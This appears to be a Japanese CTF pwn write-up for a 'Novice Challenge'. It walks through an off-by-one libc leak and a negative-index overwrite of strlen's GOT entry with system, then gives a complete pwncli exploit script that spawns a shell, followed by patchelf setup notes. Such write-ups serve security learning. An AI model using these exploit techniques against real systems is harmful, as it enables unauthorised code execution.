(ゆっくり更新中 1/4)
Novice Challenge#
一言バージョン:strlen の got 表を改変する
まず、sub_96B から libc アドレスを漏洩させます:
int sub_96B()
{
int v1; // [rsp+Ch] [rbp-264h] BYREF
__int64 v2[44]; // [rsp+10h] [rbp-260h] BYREF
char v3[252]; // [rsp+170h] [rbp-100h] BYREF
int v4; // [rsp+26Ch] [rbp-4h]
v4 = 4;
puts("このチャレンジへようこそ!");
v2[0] = (__int64)&puts;
__isoc99_scanf("%252s", v3);
puts("頑張ってください!");
__isoc99_scanf("%d", &v1);
if ( v1 > 15 && v1 <= 21 )
v4 = v1;
else
puts("いいえ!");
puts("ギフト:");
return puts((const char *)&v2[v4]);
}
目標は v2 [0] にある puts のアドレスを取得することです。
scanf % s は文字列の後ろに 0 を補完し、長さ制限はこの 0 をカウントしません。したがって、252 文字を入力すれば v4 が 0 に上書きされ、その後 if に入らない数を入力すれば良いのです。
次に見てみましょう
int sub_A31()
{
size_t v0; // rax
puts("インデックス>>");
__isoc99_scanf("%d", &dword_2020BC);
if ( (unsigned int)dword_2020BC >= 0x20 )
{
puts("いいえ!");
exit(1);
}
puts("入力>>");
read(0, byte_2020A0, 0x20uLL);
v0 = strlen(byte_2020A0);
printf("データの長さは %d\n", v0);
puts("さようなら~");
read(0, &byte_2020A0[dword_2020BC], 4uLL);
return close(1);
}
2020a0+0x20>2020bc なので、このインデックスを上書きして他の場所に書き込むことができます。
strlen の got は 2020a0-136 の位置にあります。負数は補数を取ります。
Exp:
#!/usr/bin/env python3
from pwncli import *
cli_script()
libc: ELF = gift.libc
filename = gift.filename # 現在のファイル名
is_debug = gift.debug # デバッグかどうか
is_remote = gift.remote # リモートかどうか
gdb_pid = gift.gdb_pid # デバッグ時のgdb pid
if gift.remote:
libc = ELF("./libc.so.6")
gift[libc] = libc
sla("challenge!", "a" * 252)
sla("luck!", "0")
lb = recv_current_libc_addr(0x80970, 0x1000)
libc.address = lb
leak_ex2(lb)
sla("index>>\n", "0")
sa("input>>", flat({0: "/bin/sh;", 0x1C: p32(0xFFFFFF78)}))
print(hex(libc.sym.system))
sa("bye", flat(libc.sym.system)[:-4])
rl()
ia()
注:
1、sub_96b の配列の後続の位置に ld.so 内の関数アドレスが現れることがあります(ターゲットマシン版の libc を使用している場合のみ)。利用については:https://www.cnblogs.com/7resp4ss/p/17530599.html
2、patchelf を使用してプログラムの libc とld.so (インタープリタ) を変更します。libc だけを変更するとクラッシュする可能性があります。
patchelf --set-interpreter /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so /home/w1nd/Desktop/pwn
patchelf --replace-needed libc.so.6 /home/w1nd/Desktop/buu/libc-2.23-x64.so pwn
参照:https://www.cnblogs.com/xshhc/p/16777707.html
3、Linux ELF と動的リンクライブラリ https://juejin.cn/post/6939332933677219848